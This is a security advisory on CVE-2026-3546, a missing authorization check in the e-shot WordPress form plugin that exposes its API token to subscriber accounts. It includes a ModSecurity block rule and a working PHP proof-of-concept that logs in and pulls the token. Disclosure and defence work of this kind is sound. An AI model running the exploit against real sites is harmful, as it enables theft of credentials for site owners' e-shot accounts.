Atomic Edge analysis of CVE-2026-3546 (metadata-based):
This vulnerability allows authenticated WordPress users with Subscriber-level permissions or higher to retrieve the e-shot API token and all associated subaccount data stored by the e-shot form builder plugin. The vulnerability exists in the plugin’s AJAX endpoint handling, specifically the ‘eshot_form_builder_get_account_data’ action. The CVSS 5.3 score reflects the medium severity of this information exposure.
Atomic Edge research identifies the root cause as a missing authorization check within the eshot_form_builder_get_account_data() function. The CWE-202 classification confirms this involves exposure of sensitive information through direct database queries. The vulnerability description explicitly states the function lacks both capability checks (current_user_can) and nonce verification. These conclusions are directly stated in the CVE description rather than inferred from code analysis. The function directly queries the eshotformbuilder_control table and returns the results as JSON without validation.
Exploitation requires an authenticated WordPress session with any valid user role. Attackers send a POST request to the standard WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the action parameter set to ‘eshot_form_builder_get_account_data’. No additional parameters are needed. The attack vector is straightforward because the endpoint requires no nonce and performs no capability checks. Any authenticated user can trigger the sensitive data retrieval.
Remediation requires implementing proper authorization checks before executing the sensitive database query. The plugin should verify the requesting user has appropriate administrative capabilities, typically manage_options or a custom capability specific to e-shot management. The function should also implement nonce verification to prevent CSRF attacks. The database query should be scoped to return only necessary data rather than all account information.
Successful exploitation exposes the e-shot API token and all subaccount data. Attackers can use this token to access the victim’s e-shot platform account directly. This could lead to unauthorized form data access, account takeover within the e-shot service, or misuse of the victim’s e-shot subscription. The impact is limited to the e-shot service rather than the WordPress installation itself, but the token exposure represents a significant breach of the integrated third-party service.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3546 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20263546,phase:2,deny,status:403,chain,msg:'CVE-2026-3546 via e-shot form builder AJAX - Unauthorized API token access',severity:'CRITICAL',tag:'CVE-2026-3546',tag:'WordPress',tag:'Plugin/e-shot-form-builder',tag:'Attack/InformationDisclosure'"
SecRule ARGS_POST:action "@streq eshot_form_builder_get_account_data"
"t:none,setvar:'tx.cve_2026_3546_blocked=1'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3546 - e-shot <= 1.0.2 - Missing Authorization to Authenticated (Subscriber+) Sensitive Information Exposure via API Token via 'eshot_form_builder_get_account_data' AJAX Action
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute login
$login_response = curl_exec($ch);
// Check if login succeeded by looking for WordPress admin bar indicator
if (strpos($login_response, 'wp-admin-bar') === false) {
die('Login failed. Check credentials.');
}
// Now exploit the vulnerable AJAX endpoint
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'eshot_form_builder_get_account_data'
]));
$ajax_response = curl_exec($ch);
curl_close($ch);
// Parse and display the response
$data = json_decode($ajax_response, true);
if (json_last_error() === JSON_ERROR_NONE) {
echo 'Exploit successful. Retrieved sensitive data:n';
echo 'API Token: ' . ($data['api_token'] ?? 'Not found in response') . 'n';
echo 'Full response: ' . print_r($data, true) . 'n';
} else {
echo 'Response was not valid JSON. Raw output:n';
echo $ajax_response . 'n';
}
?>
